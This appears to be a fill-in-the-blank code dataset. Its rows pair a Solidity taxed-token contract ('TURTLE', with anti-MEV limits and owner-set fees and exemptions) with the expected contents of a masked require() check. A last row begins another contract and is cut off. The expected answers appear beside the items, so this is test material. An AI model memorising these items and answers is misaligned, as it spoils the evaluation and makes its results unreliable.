function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _nofee[sender]&&_nolimit[sender],"Trading not yet open" | 64,820 | _nofee[sender]&&_nolimit[sender] |
"MEV block" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }
if ( block.number >= launchBlok ) {
if (block.number < antiMevBlock && _isLP[sender]) {
require(toWallet == tx.origin, "MEV block");
}
if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
blockSells[block.number][toWallet] += 1;
require(<FILL_ME>)
}
}
if ( sender != address(this) && toWallet != address(this) && sender != _owner ) {
require(_checkLimits(sender, toWallet, amount), "TX over limits");
}
uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
_swapLimits += _taxAmount;
_balances[toWallet] += _transferAmount;
emit Transfer(sender, toWallet, amount);
return true;
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| blockSells[block.number][toWallet]<=2,"MEV block" | 64,820 | blockSells[block.number][toWallet]<=2 |
"TX over limits" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }
if ( block.number >= launchBlok ) {
if (block.number < antiMevBlock && _isLP[sender]) {
require(toWallet == tx.origin, "MEV block");
}
if (block.number < antiMevBlock + 600 && _isLP[toWallet] && sender != address(this) ) {
blockSells[block.number][toWallet] += 1;
require(blockSells[block.number][toWallet] <= 2, "MEV block");
}
}
if ( sender != address(this) && toWallet != address(this) && sender != _owner ) {
require(<FILL_ME>)
}
uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
_swapLimits += _taxAmount;
_balances[toWallet] += _transferAmount;
emit Transfer(sender, toWallet, amount);
return true;
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| _checkLimits(sender,toWallet,amount),"TX over limits" | 64,820 | _checkLimits(sender,toWallet,amount) |
"Cannot exempt LP" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
if (noLimits || noFees) { require(<FILL_ME>) }
_nofee[ wlt ] = noFees;
_nolimit[ wlt ] = noLimits;
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| !_isLP[wlt],"Cannot exempt LP" | 64,820 | !_isLP[wlt] |
"Roundtrip too high" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
require(<FILL_ME>)
_buyTaxrate = buyFees;
_sellTaxrate = sellFees;
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| buyFees+sellFees<=99,"Roundtrip too high" | 64,820 | buyFees+sellFees<=99 |
"LP cannot be tax wallet" | /** Twitter https://x.com/cypherpunkerc TG https://t.me/cypherpunkturtle
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
}
constructor(address creatorOwner) {
}
function owner() public view returns (address) { }
function transferOwnership(address payable newowner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract TURTLE is IERC20, Auth {
string private constant _symbol = "Cypherpunk Turtle";
string private constant _name = "TURTLE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
address payable private _marketingWallet = payable(0x74da89d0D722bF841060357614Ae4519d0e6e7A5);
uint256 private antiMevBlock = 2;
uint8 private _sellTaxrate = 15;
uint8 private _buyTaxrate = 20;
uint256 private launchBlok;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 10 / 100000;
uint256 private _swapMax = _totalSupply * 150 / 100000;
uint256 private _swapTrigger = 200 * (10**15);
uint256 private _swapLimits = _swapMin * 45 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (uint256 => mapping (address => uint8)) private blockSells;
mapping (uint256 => uint8) private blockSwaps;
mapping (address => bool) private _nofee;
mapping (address => bool) private _nolimit;
address private LpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
}
constructor() Auth(msg.sender) {
}
receive() external payable {}
function decimals() external pure override returns (uint8) { }
function totalSupply() external pure override returns (uint256) { }
function name() external pure override returns (string memory) { }
function symbol() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address toWallet, uint256 amount) external override returns (bool) {
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
}
function _openTrading() internal {
}
function shouldSwap(uint256 tokenAmt) private returns (bool) {
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
}
function exemptions(address wallet) external view returns (bool fees, bool limits) {
}
function setExemptions(address wlt, bool noFees, bool noLimits) external onlyOwner {
}
function buyFee() external view returns(uint8) { }
function sellFee() external view returns(uint8) { }
function setFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
}
function marketingWallet() external view returns (address) {
}
function updateMarketingWallet(address marketingWlt) external onlyOwner {
require(<FILL_ME>)
_marketingWallet = payable(marketingWlt);
_nofee[marketingWlt] = true;
_nolimit[marketingWlt] = true;
}
function maxWallet() external view returns (uint256) {
}
function maxTransaction() external view returns (uint256) {
}
function swapMin() external view returns (uint256) {
}
function swapMax() external view returns (uint256) {
}
function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
}
function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
| !_isLP[marketingWlt],"LP cannot be tax wallet" | 64,820 | !_isLP[marketingWlt] |
"Address is blackListed" | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* Allows for contract ownership along with multi-address authorization
*/
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal authorizations;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
function setAuthorize(address adr,bool val) public onlyOwner {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
